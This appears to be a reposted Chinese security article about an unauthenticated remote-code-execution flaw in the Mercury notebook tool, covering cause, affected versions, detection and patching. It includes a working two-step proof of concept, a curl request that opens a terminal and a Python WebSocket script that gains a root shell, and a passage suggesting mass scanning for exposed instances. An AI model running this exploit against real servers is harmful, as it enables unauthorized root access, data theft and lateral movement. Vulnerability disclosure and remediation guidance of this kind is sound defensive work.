速修|Mercury未认证RCE直接拿root,CVE-2026-111057"

admin 2026-10-22 12:53:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

速修 | Mercury 未认证 RCE 直接拿 root,CVE-2026-111057

红队安全圈
红队安全圈

红队安全圈

2026年10月20日 08:15
重庆

去阅读

一个漏写的逗号,让 Mercury 的访问控制整体失效——任何未认证访问者一条请求就能拿到服务器 root shell,CVSS 10.0 满分。

01  引言

Jupyter 生态里很流行的笔记分享工具 Mercury(mljar/mercury)被报了一个 CVSS 10.0 满分漏洞:一个少写的逗号让访问控制整体失效,未认证攻击者一条请求就能在服务器上开一个真实的 OS 级 shell。利用代码已随漏洞公告公开,复现门槛几乎为零,官方已发布 3.2.4 修复版。

02  漏洞速览

漏洞编号CVE-2026-111057

影响产品Mercury(mljar),笔记本转 Web 应用工具

受影响版本3.0.0 ~ 3.2.3

漏洞类型访问控制绕过 → 未认证 RCE

危害等级CVSS 10.0 Critical

在野/PoC暂无在野报告,PoC 已公开

攻击前提无,能访问到端口即可

一句话影响面:暴露在公网或内网共享段的 Mercury 实例,等于把 root shell 挂在网上。

03  漏洞成因

根因小到离谱:block\_handler.py 的拦截规则列表 BLOCKED\_PATTERNS 里,第一条正则的行尾漏了一个逗号。Python 会把相邻字符串字面量自动拼接,前两条规则被合并成了一条——实际生效的拦截列表只剩三条错误规则。

直接请求 /api/terminals 谁都匹配不上,请求原样穿透到 Jupyter Server 内置的终端 API。这个 API 的功能本身就是开一个真实 shell,通过 WebSocket 交互——于是整套访问控制形同虚设。一个逗号,干掉了黑名单。

04  影响范围

受影响:Mercury 3.0.0 至 3.2.3。

已修复:3.2.4(补丁就是把逗号补回去)。

高风险部署形态:Docker 默认配置直接对公网开放的实例。

05  利用分析

PoC 已随公告公开,步骤非常短。第一步,创建终端,一条请求:

curl -i -X POST \

http://target:8888/api/terminals

返回终端名,说明拦截没生效。第二步,连上终端的 WebSocket 执行命令,拿到交互式 shell:

import websocket, json, time

ws = websocket.create\_connection(

'ws://target:8888/terminals/websocket/1')

ws.send(json.dumps(['stdin', 'id\
']))

time.sleep(1)

print(ws.recv())

复现环境是 Docker 默认配置、Mercury 3.2.3,实测输出为 uid=0(root)——直接就是容器内 root。拿到 shell 之后:读环境变量里的密钥、改删任意文件、关停服务,或者以这台机器为跳板横向打内网。

06  检测与排查

先查版本:pip 装的执行 pip show mercury,Docker 部署看镜像 tag 是否 ≤3.2.3。

再验证端口是否可未认证访问(替换成自己的地址):

curl -i -X POST \

http://target:8888/api/terminals

返回 200 和终端名 JSON 就是中招;返回 403/404 说明拦截生效或端口未暴露。顺手排查公网暴露面:8888 端口对外的 Mercury 实例全部按高危处理。

07  修复建议

  1. 升级到 Mercury 3.2.4,这是唯一正解。

  2. 升级前应急缓解:不要把 Mercury 直接暴露公网,前面加 VPN、反向代理认证或防火墙白名单。

  3. 排查有无异常终端会话(/api/terminals 的访问日志),确认是否已被利用。

08  红队视角

这个洞的价值在于三点:无认证、无交互、PoC 现成。公网测绘上 Jupyter 系服务的 8888 端口非常好找,一轮 fofa/shodan 扫下来很可能有活鱼。

对蓝方来说这也是个提醒:访问控制这种看起来在的东西,一行代码改动就能让它静默失效。正则黑名单这类机制建议加单测覆盖——逐条规则拿匹配样本测一遍,逗号丢了 CI 就会叫。

09  POC 链接

https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm

说明:官方漏洞公告,内含完整复现步骤与代码(Docker 默认配置 + Mercury 3.2.3 实测)

下期继续蹲厂商补丁和 PoC 动静,关注后漏洞先知道,修复不踩坑。

— END —

    速修|Mercury未认证RCE直接拿root,CVE-2026-111057" 网络安全文章

    速修|Mercury未认证RCE直接拿root,CVE-2026-111057"

    Mercury工具存在CVE-2026-111057未认证RCE漏洞,CVSS10.0满分。根因是BLOCKED\\_PATTERNS列表首条正则漏写逗号,导致Python字符串自动拼接使拦截规则失效,攻击者可未认证请求/api/terminals创建终端,通过WebSocket获取rootshell。影响3.0.0至3.2.3版本,官方已发布3.2.4修复版。建议立即升级,升级前避免公网暴露并排查异常终端会话。
    杀疯了" 网络安全文章

    杀疯了"

    该文档为Khan安全团队于2026年10月20日发布的标题为杀疯了的文章,内容仅包含标题、来源、日期和地点信息,未提供具体技术内容或分析,缺乏实质性的安全技术要点、结论或可操作建议,整体信息量极少,不具备技术评价价值。
    评论:0   参与:  0